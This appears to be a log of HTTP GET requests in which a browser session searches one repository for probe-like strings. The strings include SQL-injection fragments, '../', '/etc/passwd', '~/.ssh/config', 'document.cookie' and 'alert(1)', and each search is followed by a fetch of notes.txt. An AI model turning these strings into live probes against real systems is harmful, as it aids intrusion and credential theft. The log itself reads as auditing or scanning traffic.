{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=SELECT%20%2A%20FROM%20users%20WHERE&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=union%20select&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=http%3A%2F%2F127.0.0.1%3A8080&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=..%2F&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%2Fetc%2Fpasswd&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=eval%28&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=chmod%20%2Bx&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=echo%20%24PATH&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=java.lang.Runtime&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=document.cookie&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=alert%281%29&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=__proto__&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=C%3A%5CWindows%5CSystem32&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=Invoke-WebRequest&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=if%20%28a%20%3D%3D%20b%29%20%7B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=sudo%20apt%20install&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=~%2F.ssh%2Fconfig&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=.htaccess&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_GET%5B&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_POST&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%24_SERVER%5B%27REQUEST_URI%27%5D&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=%3C%3Fphp%20echo&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
{"method": "GET", "target": "/alice/tools/src/commit/8e01606a9cdcbbdd91e8bab612233ef345756193/notes.txt", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/search/branch/main?path=&q=information_schema&mode=exact", "Accept-Encoding: gzip, deflate", "Cookie: session=0f9f46042a891663; lang=en-US"], "body": ""}
